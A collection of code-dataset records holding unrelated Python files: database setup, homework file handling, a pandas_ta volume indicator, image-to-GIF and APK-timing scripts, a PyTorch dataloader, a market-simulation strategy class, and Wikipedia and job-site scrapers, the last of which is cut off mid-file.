main():\n\n try:\n cur, conn = create_database()\n info(\"Successfully created database and retrieved associated connection and cursor\")\n except Exception as e:\n error(f\"Error creating database or retrieving associated connection and cursor: {e}\")\n exit()\n \n try:\n drop_tables(cur, conn)\n info(\"DROP TABLE queries execution complete\")\n except Exception as e:\n error(f\"Error executing DROP TABLE queries: {e}\")\n exit()\n \n try:\n create_tables(cur, conn)\n info(\"CREATE TABLE queries execution complete\")\n except Exception as e:\n error(f\"Error executing CREATE TABLE queries: {e}\")\n exit()\n\n conn.close()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"create_table.py","file_name":"create_table.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"346327945","text":"image_path = 'jordanfly.jpg'\n# 1.\n# Accept from the user some text.Ensure user enters something else raise an\n# exception.\n# After that# write#that# text# to# a file and then read\n# from this file to write# to another file simultaneously\n# 2.\n# Reading an image to writing to another file simultaneously\n\n\nclass FileHandlingHomework:\n def __init__(self, text_store=None):\n self.text_store = text_store\n pass\n\n def user_input(self):\n try:\n name = (input(\"Enter your name: \"))\n if len(name) == 0:\n raise Exception\n except Exception:\n print(\"Please enter at least one letter as your name \")\n self.user_input()\n else:\n print(f\"Thank you,your name has been accepted {name}\")\n\n\n\n def taketext(self):\n try:\n user = (input(\"Please enter some text \"))\n if len(user) == 0:\n raise Exception\n except Exception:\n print(\"We asked for some text... \")\n self.taketext()\n else:\n with open(\"hworkfile.txt\", \"w+\") as file:\n file.write(user)\n file.seek(0)\n self.text_store = file.read()\n with open(\"workfileii.txt\", \"w\") as file:\n file.write(self.text_store)\n return self.text_store\n\n\n def imageread(self):\n with open(image_path, 'rb') as image_file:\n image_string = image_file.read()\n with open(\"file location.png\", 'wb') as dest_image:\n dest_image.write(image_string)\n\n\n\n\n\n\n\n\n","sub_path":"homeworkfile.py","file_name":"homeworkfile.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"499049530","text":"'''THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND\nNON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE\nDISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY,\nWHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.'''\n\n# Bitcoin Cash (BCH) qpz32c4lg7x7lnk9jg6qg7s4uavdce89myax5v5nuk\n# Ether (ETH) - 0x843d3DEC2A4705BD4f45F674F641cE2D0022c9FB\n# Litecoin (LTC) - Lfk5y4F7KZa9oRxpazETwjQnHszEPvqPvu\n# Bitcoin (BTC) - 34L8qWiQyKr8k4TnHDacfjbaSqQASbBtTd\n\n# contact :- github@jamessawyer.co.uk\n\n\n\n# -*- coding: utf-8 -*-\nfrom pandas import DataFrame\nfrom .obv import obv\nfrom pandas_ta.overlap import ema, hma, linreg, sma, wma\nfrom pandas_ta.trend import long_run, short_run\nfrom pandas_ta.utils import get_offset, verify_series\n\n\ndef aobv(\n close,\n volume,\n fast=None,\n slow=None,\n mamode=None,\n max_lookback=None,\n min_lookback=None,\n offset=None,\n **kwargs,\n):\n \"\"\"Indicator: Archer On Balance Volume (AOBV)\"\"\"\n # Validate arguments\n close = verify_series(close)\n volume = verify_series(volume)\n offset = get_offset(offset)\n fast = int(fast) if fast and fast > 0 else 4\n slow = int(slow) if slow and slow > 0 else 12\n max_lookback = int(max_lookback) if max_lookback and max_lookback > 0 else 2\n min_lookback = int(min_lookback) if min_lookback and min_lookback > 0 else 2\n if slow < fast:\n fast, slow = slow, fast\n mamode = mamode.upper() if mamode else None\n run_length = kwargs.pop(\"run_length\", 2)\n\n # Calculate Result\n obv_ = obv(close=close, volume=volume, **kwargs)\n if mamode is None or mamode == \"EMA\":\n mamode = \"EMA\"\n maf = ema(close=obv_, length=fast, **kwargs)\n mas = ema(close=obv_, length=slow, **kwargs)\n elif mamode == \"HMA\":\n maf = hma(close=obv_, length=fast, **kwargs)\n mas = hma(close=obv_, length=slow, **kwargs)\n elif mamode == \"LINREG\":\n maf = linreg(close=obv_, length=fast, **kwargs)\n mas = linreg(close=obv_, length=slow, **kwargs)\n elif mamode == \"SMA\":\n maf = sma(close=obv_, length=fast, **kwargs)\n mas = sma(close=obv_, length=slow, **kwargs)\n elif mamode == \"WMA\":\n maf = wma(close=obv_, length=fast, **kwargs)\n mas = wma(close=obv_, length=slow, **kwargs)\n\n # When MAs are long and short\n obv_long = long_run(maf, mas, length=run_length)\n obv_short = short_run(maf, mas, length=run_length)\n\n # Offset\n if offset != 0:\n obv_ = obv_.shift(offset)\n maf = maf.shift(offset)\n mas = mas.shift(offset)\n obv_long = obv_long.shift(offset)\n obv_short = obv_short.shift(offset)\n\n # # Handle fills\n if \"fillna\" in kwargs:\n obv_.fillna(kwargs[\"fillna\"], inplace=True)\n maf.fillna(kwargs[\"fillna\"], inplace=True)\n mas.fillna(kwargs[\"fillna\"], inplace=True)\n obv_long.fillna(kwargs[\"fillna\"], inplace=True)\n obv_short.fillna(kwargs[\"fillna\"], inplace=True)\n if \"fill_method\" in kwargs:\n obv_.fillna(method=kwargs[\"fill_method\"], inplace=True)\n maf.fillna(method=kwargs[\"fill_method\"], inplace=True)\n mas.fillna(method=kwargs[\"fill_method\"], inplace=True)\n obv_long.fillna(method=kwargs[\"fill_method\"], inplace=True)\n obv_short.fillna(method=kwargs[\"fill_method\"], inplace=True)\n\n # Prepare DataFrame to return\n data = {\n obv_.name: obv_,\n f\"OBV_min_{min_lookback}\": obv_.rolling(min_lookback).min(),\n f\"OBV_max_{max_lookback}\": obv_.rolling(max_lookback).max(),\n f\"OBV_{maf.name}\": maf,\n f\"OBV_{mas.name}\": mas,\n f\"AOBV_LR_{run_length}\": obv_long,\n f\"AOBV_SR_{run_length}\": obv_short,\n }\n aobvdf = DataFrame(data)\n\n # Name and Categorize it\n aobvdf.name = (\n f\"AOBV_{mamode}_{fast}_{slow}_{min_lookback}_{max_lookback}_{run_length}\"\n )\n aobvdf.category = \"volume\"\n\n return aobvdf\n","sub_path":"pandas_ta/volume/aobv.py","file_name":"aobv.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"530298183","text":"\"\"\"\nNote: when running on raspberry pi, need extra libraries\nsudo apt-get update\nsudo apt-get install libjpeg-dev\n\nRequired packages\n\"\"\"\n\n\n\nimport argparse\nimport imageio\nimport os\nfrom os.path import join\nimport tempfile\nfrom PIL import Image\nfrom shutil import copyfile\nfrom math import ceil\n\nusage = \"python grow_summary.py [-s width of gif]\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"target_directory\")\nparser.add_argument(\"expected_fnum\", help=\"The expected number of images resulting.\")\nparser.add_argument(\"-s\", \"--size\", help=\"the width in pixles for the output gif\")\n\nargs = parser.parse_args()\ntarget_directory = None\n# check if the directory given is a directory\nif os.path.isdir(args.target_directory):\n target_directory = args.target_directory\nelse:\n print(\"input directory is not a directory\")\n\nexpected_fnum = int(args.expected_fnum)\n_path, outname = os.path.split(target_directory)\nif len(outname) == 0:\n outname = _path.strip('/')\nOUT = outname + \".gif\"\n\n# start with a default size for the gif:\ngif_size = 420\nif args.size:\n gif_size = int(args.size)\n\n\n###################### FUNCTIONS ######################\ndef is_bigger(img, size_thresh):\n # takes an image, returns True if the image larger than the size thresh (in bytes).\n # used here to filter out pictures taken in the dark, they are smaller.\n file_size = os.path.getsize(img)\n print('{} : {}bytes, threshold: {}'.format(img,file_size/1000,size_thresh/1000))\n if file_size > size_thresh:\n print('{}: SELECTED'.format(img))\n return True\n else:\n return False\n\n\ndef avg_file_size(img_dir):\n total_size = 0\n acceptable_exts = ('.jpg', '.png', '.tiff')\n img_list = []\n for img in os.listdir(img_dir):\n print('proccessing file: {}'.format(img))\n if img.endswith(acceptable_exts) and \\\n os.path.isfile(os.path.join(img_dir,img)): #check it is an image file, not a directory\n\n total_size += int(os.path.getsize(join(img_dir, img)))\n img_list.append(os.path.join(img_dir,img))\n avg_size = total_size/len(img_list)\n return avg_size, img_list\n\n\ndef super_giffer(pic_list, out_loc, frame_dur=0.25, gif_width=None):\n \"\"\"\n This function will take a list of pictures, resize them, and make a gif from them.\n pic_list = list of the pictures - strings of the FULL PATH.\n gif_name = what you want the gif to be named (will get written to the pic_dir\n frame_dur = frame duration in seconds (0.25 default)\n gif_width = the number of pixles you want the final gif's width to be (420 default)\n \"\"\"\n\n # make sure the name ends with .gif\n if not out_loc.endswith(\".gif\"):\n print(\"out location must end in'.gif'\")\n\n\n images = []\n files_not_included = []\n\n # clean and resize the images. Write resized images into a temp folder (to be removed after)\n acceptable_exts = ('.jpg', '.png', '.tiff')\n with tempfile.TemporaryDirectory() as tmpdirname:\n for f in pic_list:\n print('processing file:{}'.format(f))\n f_path, f_name = os.path.split(f) # get the name of the files, and the path to them.\n if os.path.isfile(f) and f.endswith(acceptable_exts): # There are some stupid hidden files in folders sometimes, these mess with the automati\n if not gif_width: # check for size change. If no size entered, just copy the image to the tmp folder\n copyfile(f, join(tmpdirname, f_name))\n else:\n i = Image.open(f)\n gif_height = int((float(gif_width) / i.size[0]) * i.size[1])\n i_resized = i.resize((gif_width, gif_height))\n i_resized.save(join(tmpdirname,f_name))\n else: # if the file is not a file, or doesn't have a valid extension:\n files_not_included.append(f)\n\n\n files_to_gif = os.listdir(tmpdirname) # turn the directory into a list of image names\n\n print('{} images to be giffed: {}'.format(len(files_to_gif), sorted(files_to_gif, key=lambda x: int(x.split('.')[0]))))\n print('{} files of invalid format: {}'.format(len(files_not_included),files_not_included))\n\n for f in sorted(files_to_gif, key=lambda x: int(x.split('.')[0])): # files are sorted to ensure correct gif order.\n img_path = join(tmpdirname, f)\n immm = imageio.imread(img_path)\n images.append(immm) # adds the image data to the images list\n print(len(images), 'images processed.')\n\n # Finally: Make the gif\n imageio.mimsave(out_loc, images, duration=frame_dur) # NEED TO HAVE AN out_loc WITH \".gif\" AT THE END!!\n\n\ndef takespread(sequence, num):\n # stolen from SO: https://stackoverflow.com/questions/9873626/choose-m-evenly-spaced-elements-from-a-sequence-of-length-n\n length = float(len(sequence))\n for i in range(num):\n yield sequence[int(ceil(i * length / num))]\n\n\ndef __main__():\n # # get folder stats\n avg_img_size, image_list = avg_file_size(target_directory)\n\n # # select the correct number of images, evenly spaced\n imgs_to_process = []\n for i in takespread(image_list, expected_fnum):\n # check if the image is dark\n if is_bigger(i, avg_img_size):\n imgs_to_process.append(i)\n # # send those images into the gifmaking function\n super_giffer(imgs_to_process,os.path.join(target_directory, OUT),gif_width=300)\n\n\n\nif __name__ == \"__main__\":\n print(type(expected_fnum),type(target_directory))\n __main__()\n if input(\"Do you want to scp the resuting gif to a remote location (y/n)?\").upper() == \"Y\":\n remotehost = input('Remotehost (user@192.168.0.11):')\n remoteloc = input(\"Remote location (/Users/username/Desktop):\")\n print('scp \"{localfile}\" \"{remotehost}:{targetpath}\"'.format(localfile=os.path.join(target_directory,OUT), remotehost=remotehost, targetpath=remoteloc))\n\n os.system('scp \"{localfile}\" \"{remotehost}:{targetpath}\"'.format(localfile=os.path.join(target_directory,OUT), remotehost=remotehost, targetpath=remoteloc))\n\n","sub_path":"grow_summary.py","file_name":"grow_summary.py","file_ext":"py","file_size_in_byte":6145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"604581789","text":"'''\nFirst argument: Directory. Walks through the directory recursively and gets the path to APK files. \nSecond Argument: path to resultFile: The file where result of LockScreen plugin is stored. \nThird Argument: Path to the file where execution time is stored. \n\nExample, python getExecutionTime.py $Path_to_apkFolder $Path_to_resultFile.txt $Path_to_execTimeFile \n'''\n\nimport os\nimport sys\nimport time as t\n\ndirectory=sys.argv[1]\nresultFile=sys.argv[2]\nexecTimeFile=sys.argv[3]\n\nfor root, dirs, files in os.walk(directory):\n for myfile in files:\n if myfile.endswith(\".apk\"):\n fullPath=os.path.join(root,myfile)\n print('APK being scanned:'+fullPath)\n startTime=t.time()\n os.system('java -jar lockScreen.jar '+fullPath+' '+resultFile)\n endTime=t.time()\n execTime=endTime-startTime\n createdFolder=fullPath.replace('.apk','')\n os.system('rm -r '+createdFolder)\n fileToStoreTime=open(execTimeFile,\"a\")\n fileToStoreTime.write('\\n'+myfile+','+str(execTime))\n fileToStoreTime.close()\n\n\n","sub_path":"executionTime/getExecutionTime.py","file_name":"getExecutionTime.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"223938940","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\ndef get_draft(url): #收集新聞稿\r\n resp = requests.get(url)\r\n if resp.status_code is 200:\r\n resp.encoding = \"UTF-8\"\r\n soup = BeautifulSoup(resp.text,\"html.parser\")\r\n scope1 = soup.select(\"#tab1\")\r\n scope2 = scope1[0].select(\".taba\")\r\n\r\n hot_lines=[]\r\n\r\n for line in scope2: #集成一個list\r\n hot_lines.append(line.text)\r\n\r\n return hot_lines#顯示出來的list回傳到hot_lines\r\n\r\ndef speech(report): #把草稿轉變成字串\r\n text =\"大家好\"+\" \"+\"歡迎來到超蝦新聞\\n\"\r\n i=0\r\n for news in report:\r\n text = text+\"第\"+str(i+1)+\"則\"+\"時間\"+news[:2]+\"點\"+news[3:5]+\"分\"+news[5:]+\"\\n\"\r\n i+=1\r\n return text","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"615396441","text":"from dataset.cub_200_2011_contrastive import Cub2002011Contrastive as Dataset\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom utils.util import get_object_from_path\n\n\nclass Cub2002011Contrastive:\n \"\"\"\n The class defines the flow of loading the dataloaders for CUB-200-2011 dataset for contrastive SSL training.\n \"\"\"\n def __init__(self, config):\n \"\"\"\n Constructor, the function parse the configuration parameters and load the CUB_200_2011 dataset.\n\n :param config: Configuration class object\n \"\"\"\n self.config = config\n self.train_transform = None # Train transform\n self.test_transform = None # Test transform\n self.contrastive_transforms = None # Contrastive transforms\n self.train_dataset = None # Train dataset\n self.test_dataset = None # Test Dataset\n self.get_transforms() # Parse the train and test transforms from configuration file\n self.load_dataset() # Load the train and test datasets\n\n def get_transforms(self):\n \"\"\"\n The function reads the train and test transformations specified in the configuration (.yml) file.\n \"\"\"\n train_transforms = self.config.cfg[\"dataloader\"][\"transforms\"][\"train\"] # Key to the train transforms in config\n test_transforms = self.config.cfg[\"dataloader\"][\"transforms\"][\"test\"] # Key to the test transforms in config\n # Iterate over the train transformations in order and load them as torchvision Compose transform\n self.train_transform = transforms.Compose(\n [\n get_object_from_path(train_transforms[i]['path'])(**train_transforms[i]['param'])\n if 'param' in train_transforms[i].keys()\n else get_object_from_path(train_transforms[i]['path'])() for i in train_transforms.keys()\n ]\n )\n # Iterate over the test transformations in order and load them as torchvision Compose transform\n self.test_transform = transforms.Compose(\n [\n get_object_from_path(test_transforms[i]['path'])(**test_transforms[i]['param'])\n if 'param' in test_transforms[i].keys()\n else get_object_from_path(test_transforms[i]['path'])() for i in test_transforms.keys()\n ]\n )\n # Load the transformations for contrastive self-supervised learning\n self.contrastive_transforms = get_object_from_path(self.config.cfg[\"dataloader\"][\"transforms\"][\"contrastive\"])\n\n def load_dataset(self):\n \"\"\"\n The function loads the train and test datasets.\n \"\"\"\n # Parse configuration\n data_root_directory = self.config.cfg[\"dataloader\"][\"root_directory_path\"] # Dataset root directory path\n resize_width = self.config.cfg[\"dataloader\"][\"resize_width\"] # Image resize width\n resize_height = self.config.cfg[\"dataloader\"][\"resize_height\"] # Image resize height\n download = self.config.cfg[\"dataloader\"][\"download\"] # Either to download the dataset or not\n train_data_fraction = self.config.cfg[\"dataloader\"][\"train_data_fraction\"] # Fraction of dataset for training\n test_data_fraction = self.config.cfg[\"dataloader\"][\"test_data_fraction\"] # Fraction of dataset for testing\n # Load the train dataset\n self.train_dataset = Dataset(root=data_root_directory, train=True, resize_dims=(resize_width, resize_height),\n transform=self.train_transform, contrastive_transforms=self.contrastive_transforms,\n download=download, train_data_fraction=train_data_fraction)\n # Load the test dataset\n self.test_dataset = Dataset(root=data_root_directory, train=False, resize_dims=(resize_width, resize_height),\n transform=self.test_transform, download=download,\n test_data_fraction=test_data_fraction)\n\n def get_dataloader(self):\n \"\"\"\n The function creates and returns the train and test dataloaders.\n\n :return: train_dataloader, test_dataloader\n \"\"\"\n # Parse configuration\n batch_size = self.config.cfg[\"dataloader\"][\"batch_size\"] # Batch size for the dataloader\n shuffle = self.config.cfg[\"dataloader\"][\"shuffle\"] # Either to shuffle dataset or not\n num_workers = self.config.cfg[\"dataloader\"][\"num_workers\"] # Number of workers to load the dataset\n # Create the train dataloader\n train_dataloader = DataLoader(dataset=self.train_dataset, batch_size=batch_size, shuffle=shuffle,\n num_workers=num_workers)\n # Create the test dataloader\n test_dataloader = DataLoader(dataset=self.test_dataset, batch_size=batch_size, shuffle=shuffle,\n num_workers=num_workers)\n # Return train and test dataloader\n return train_dataloader, test_dataloader\n","sub_path":"dataloader/cub_200_2011_contrastive.py","file_name":"cub_200_2011_contrastive.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"423066434","text":"from marketsim.gen._out._ievent import IEvent\nfrom marketsim.gen._out._ifunction import IFunctionIObservableIOrderIFunctionSide\nfrom marketsim.gen._out._isingleassetstrategy import ISingleAssetStrategy\nfrom marketsim import registry\nfrom marketsim import context\n@registry.expose([\"Strategy\", \"CrossingAverages\"])\nclass CrossingAverages_IEventSideIObservableIOrderFloatFloatFloat(ISingleAssetStrategy):\n \"\"\" with different parameters ('slow' and 'fast' averages) and when\n the first is greater than the second one it buys,\n when the first is lower than the second one it sells\n \"\"\" \n def __init__(self, eventGen = None, orderFactory = None, ewma_alpha_1 = None, ewma_alpha_2 = None, threshold = None):\n from marketsim import _\n from marketsim import rtti\n from marketsim.gen._out.order._curried._side_market import side_Market_Float as _order__curried_side_Market_Float\n from marketsim.gen._out.event._every import Every_Float as _event_Every_Float\n from marketsim.gen._out.math.random._expovariate import expovariate_Float as _math_random_expovariate_Float\n from marketsim import event\n self.eventGen = eventGen if eventGen is not None else _event_Every_Float(_math_random_expovariate_Float(1.0))\n self.orderFactory = orderFactory if orderFactory is not None else _order__curried_side_Market_Float()\n self.ewma_alpha_1 = ewma_alpha_1 if ewma_alpha_1 is not None else 0.15\n self.ewma_alpha_2 = ewma_alpha_2 if ewma_alpha_2 is not None else 0.015\n self.threshold = threshold if threshold is not None else 0.0\n rtti.check_fields(self)\n self.impl = self.getImpl()\n self.on_order_created = event.Event()\n event.subscribe(self.impl.on_order_created, _(self)._send, self)\n \n @property\n def label(self):\n return repr(self)\n \n _properties = {\n 'eventGen' : IEvent,\n 'orderFactory' : IFunctionIObservableIOrderIFunctionSide,\n 'ewma_alpha_1' : float,\n 'ewma_alpha_2' : float,\n 'threshold' : float\n }\n def __repr__(self):\n return \"CrossingAverages(%(eventGen)s, %(orderFactory)s, %(ewma_alpha_1)s, %(ewma_alpha_2)s, %(threshold)s)\" % self.__dict__\n \n def bind(self, ctx):\n self._ctx = ctx.clone()\n \n _internals = ['impl']\n def __call__(self, *args, **kwargs):\n return self.impl()\n \n def reset(self):\n self.impl = self.getImpl()\n ctx = getattr(self, '_ctx', None)\n if ctx: context.bind(self.impl, ctx)\n \n def getImpl(self):\n from marketsim.gen._out.strategy._generic import Generic_IObservableIOrderIEvent as _strategy_Generic_IObservableIOrderIEvent\n from marketsim.gen._out.strategy.side._crossingaverages import CrossingAverages_FloatFloatFloatIOrderBook as _strategy_side_CrossingAverages_FloatFloatFloatIOrderBook\n return _strategy_Generic_IObservableIOrderIEvent(self.orderFactory(_strategy_side_CrossingAverages_FloatFloatFloatIOrderBook(self.ewma_alpha_1,self.ewma_alpha_2,self.threshold)),self.eventGen)\n \n def _send(self, order, source):\n self.on_order_created.fire(order, self)\n \ndef CrossingAverages(eventGen = None,orderFactory = None,ewma_alpha_1 = None,ewma_alpha_2 = None,threshold = None): \n from marketsim.gen._out._ievent import IEvent\n from marketsim.gen._out._ifunction import IFunctionIObservableIOrderIFunctionSide\n from marketsim import rtti\n if eventGen is None or rtti.can_be_casted(eventGen, IEvent):\n if orderFactory is None or rtti.can_be_casted(orderFactory, IFunctionIObservableIOrderIFunctionSide):\n if ewma_alpha_1 is None or rtti.can_be_casted(ewma_alpha_1, float):\n if ewma_alpha_2 is None or rtti.can_be_casted(ewma_alpha_2, float):\n if threshold is None or rtti.can_be_casted(threshold, float):\n return CrossingAverages_IEventSideIObservableIOrderFloatFloatFloat(eventGen,orderFactory,ewma_alpha_1,ewma_alpha_2,threshold)\n raise Exception('Cannot find suitable overload for CrossingAverages('+str(eventGen) +':'+ str(type(eventGen))+','+str(orderFactory) +':'+ str(type(orderFactory))+','+str(ewma_alpha_1) +':'+ str(type(ewma_alpha_1))+','+str(ewma_alpha_2) +':'+ str(type(ewma_alpha_2))+','+str(threshold) +':'+ str(type(threshold))+')')\n","sub_path":"marketsim/gen/_out/strategy/_CrossingAverages.py","file_name":"_CrossingAverages.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"173254615","text":"import wikipedia\nimport os, re\nimport networkx as nx\nfrom bs4 import BeautifulSoup\nfrom requests import get\nfrom copy import deepcopy\nfrom tqdm import tqdm\nimport argparse\nimport multiprocessing\nimport time\n\ndef __unbox(unbox_target):\n while type(unbox_target) ==list and len(unbox_target) ==1 :\n unbox_target = unbox_target[0]\n return unbox_target\n\ndef infobox_handler(infobox):\n if infobox is not None:\n __row = []\n for each_tr in infobox.find_all(\"tr\"):\n __th = each_tr.find(\"th\")\n __tds = each_tr.find_all(\"td\")\n\n datum = []\n if __th is not None:\n table_title = [th.string.strip().replace(u'\\xa0', u' ') for th in __th if th.string]\n table_title = [th for th in table_title if th]\n if len(table_title)!= 0:\n datum.append(__unbox(table_title))\n if __tds is not None:\n table_data = [td.text.strip().replace(u'\\xa0', u' ') for td in __tds if td.text]\n table_data = [__unbox(re.split(\",|\\n\", td)) for td in table_data if td]\n \"\"\",\\n\"\"\"\n\n if len(table_data)!= 0:\n datum.append(__unbox(table_data))\n __row.append(__unbox(datum))\n \"\"\"\n if len(all_td) <= 1:\n # single element box\n \\\n for each_td in infobox.find\n \"\"\"\n __row = [row for row in __row if (len(row) == 2 and type(row[0])==str)]\n return dict(__row)\n else:\n return None\n\ndef wikipedia_analysis(html_soup):\n #response is html\n \"\"\"\n body = html_soup.body.find(\"div\", id=\"bodyContent\", class_=\"mw-body-content\")\n if body:\n # Extract Texts from main article, except of \"See also , References, External links\"\n entire_string = \"\"\n for paragraph in body.find_all(\"p\"):\n entire_string += paragraph.text\n entire_string = entire_string.replace(\"\\n\", \" \")\n\n # Extract main information from first table \"infobox\"\n infobox = body.find(\"table\", class_ = \"infobox\")\n infobox = infobox_handler(infobox)\n\n # Extract all of relevant links without all of external links.\n links = body.find_all(title=True,\n href=True,\n class_=False,\n accesskey=False,\n li=False)\n links = [(i.get_attribute_list(\"title\")[0] ,i.get_attribute_list(\"href\")[0]) for i in links]\n return entire_string, infobox, links\n else:\n return \"\", None, []\n \"\"\"\n if html_soup:\n # Extract Texts from main article, except of \"See also , References, External links\"\n entire_string = \"\"\n for paragraph in html_soup.find_all(\"p\"):\n entire_string += paragraph.text\n entire_string = entire_string.replace(\"\\n\", \" \")\n\n # Extract main information from first table \"infobox\"\n infobox = html_soup.find(\"table\", class_=\"infobox\")\n infobox = infobox_handler(infobox)\n\n # Extract all of relevant links without all of external links.\n links = html_soup.find_all(title=True,\n href=True,\n class_=False,\n accesskey=False,\n li=False)\n links = [(i.get_attribute_list(\"title\")[0], i.get_attribute_list(\"href\")[0]) for i in links]\n return entire_string, infobox, links\n else:\n return \"\", None, []\n\ndef __parser(html):\n response = get(html)\n html_soup = BeautifulSoup(response.text, 'html.parser')\n body_text, infobox, links = wikipedia_analysis(html_soup)\n return body_text, infobox, links\n\ndef relationship_scraping(keyword,\n link_exception=[], depth=10, sleep_sec=1):\n completed_keywords = set([])\n\n depth_keywords = set([keyword])\n next_keywords = set([])\n\n for __depth in range(1, depth):\n print(f\"Depth {__depth} scraping start....\")\n print(f\"Search for {depth_keywords}, total target number is {len(depth_keywords)}\")\n for __keyword in tqdm(depth_keywords):\n \"\"\"\n #with multiprocessing.Pool(1) as p:\n # body_text, infobox, links = p.map(__multiprocess, [seed+__keyword])[0]\n \"\"\"\n body_text, infobox, links = wikipedia_via_wikimedia(__keyword)\n _nodes = [keyword for keyword, link in links if \":\" not in keyword]\n _links = [link for title, link in links]\n next_keywords = next_keywords.union(set(_nodes))\n time.sleep(sleep_sec)\n yield __depth, __keyword, body_text, infobox, _nodes\n else:\n completed_keywords = completed_keywords.union(depth_keywords)\n next_keywords = next_keywords.difference(completed_keywords)\n depth_keywords = deepcopy(next_keywords)\n next_keywords = set([])\n else:\n print(f\"Last {depth} depth scraping start....\")\n print(f\"Search for {depth_keywords}, total target number is {len(depth_keywords)}\")\n for __keyword in tqdm(depth_keywords):\n \"\"\"\n #with multiprocessing.Pool(1) as p:\n # body_text, infobox, links = p.map(__parser, [seed + __keyword])[0]\n \"\"\"\n body_text, infobox, links = wikipedia_via_wikimedia(__keyword)\n _nodes = [keyword for keyword, link in links]\n _links = [link for title, link in links]\n time.sleep(sleep_sec)\n yield depth, __keyword, body_text, infobox, _nodes\n\ndef build_relationship_graph(keyword,\n seed=\"https://en.wikipedia.org/wiki/\",\n link_exception=[], depth=10):\n G = nx.Graph()\n for __depth, __keyword, body_text, infobox, links in relationship_scraping(keyword,\n seed=seed,\n link_exception=link_exception,\n depth=depth):\n G.add_node(__keyword)\n if infobox:\n for key, information in infobox.items():\n G.nodes[__keyword][key] = information\n\n _nodes = [keyword for keyword, link in links]\n _links = [link for title, link in links]\n\n G.add_nodes_from(_nodes)\n G.add_edges_from([(__keyword, new_keyword) for new_keyword in _nodes])\n return G\n\n\n\ndef wikipedia_via_wikimedia(keyword, *args):\n try:\n __page_info = wikipedia.page(title=keyword, auto_suggest=True, redirect=True, preload=True)\n\n title, summary = __page_info.title, __page_info.summary\n categories = __page_info.categories\n content, links = __page_info.content, __page_info.links\n img_links = __page_info.images\n summary = summary.replace(\"\\n\", \"\")\n content = content.replace(\"\\n\", \"\")\n\n html = __page_info.html()\n _, infobox, _ = wikipedia_analysis(BeautifulSoup(html, 'html.parser'))\n return content, infobox, links\n #return title, categories, summary, infobox, content, links, img_links\n except wikipedia.exceptions.DisambiguationError:\n return None, None, None\n\ndef csv(keyword, csv_path, seed=\"https://en.wikipedia.org/wiki/\", link_exception=[], depth=10, sleep_sec=1, csv_sep=\"!#\"):\n\n with open(csv_path, \"a\", encoding=\"utf-8\") as writer:\n for __depth, __keyword, body_text, infobox, nodes in relationship_scraping(keyword,\n seed=seed,\n link_exception=link_exception,\n depth=depth,\n sleep_sec=sleep_sec):\n writer.write(csv_sep.join([str(__depth),\n str(__keyword),\n str(body_text),\n str(infobox),\n str(nodes)]) +\"\\n\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Wikipedia Scraping\")\n parser.add_argument(\"keyword\", metavar = \"KEYWORD\", type=str, help=\"keyword for search\")\n parser.add_argument(\"output_csv\", metavar=\"CSV_PATH\", type=str, help=\"output file path\")\n parser.add_argument(\"depth\", metavar=\"DEPTH\", type=int, help=\"depth to search\")\n parser.add_argument(\"sleep_sec\", metavar=\"SECONDS\", type=int, help=\"wait timer\")\n args = parser.parse_args()\n csv(args.keyword, args.output_csv, depth=args.depth, sleep_sec=args.sleep_sec)","sub_path":"scraping_xml.py","file_name":"scraping_xml.py","file_ext":"py","file_size_in_byte":8840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"644547258","text":"import requests\r\nimport re\r\nfrom aip import AipOcr\r\nimport pymysql\r\n\r\ncount=0\r\n############################################################################################################\r\ntry:\r\n connect = pymysql.connect(host='localhost', port=3306, user='Crawler', passwd='Crawler', db='crawler')\r\nexcept:\r\n print(\"ERROR: MySQL connect failed\")\r\n exit()\r\n############################################################################################################\r\nwith open('./city_code.txt','r') as f:\r\n temp=f.read()\r\ncity_code=eval(temp)\r\n############################################################################################################\r\n############################################################################################################\r\nheader = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\r\n \"Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134\" }\r\n############################################################################################################\r\ntemp = requests.get(url=\"https://www.zhipin.com\",headers=header)\r\ncookie = {\"cookie\":temp.headers.get('Set-Cookie')}\r\nif temp.status_code != 200:\r\n print(\"Error:Not 200\")\r\n exit()\r\nheader.update(cookie)\r\n############################################################################################################ #\r\n# city_name = input(\"输入城市: \")\r\ncity_name = \"南宁\"\r\nif city_code.get(city_name) == None:\r\n print(\"City_code Not Find\")\r\n 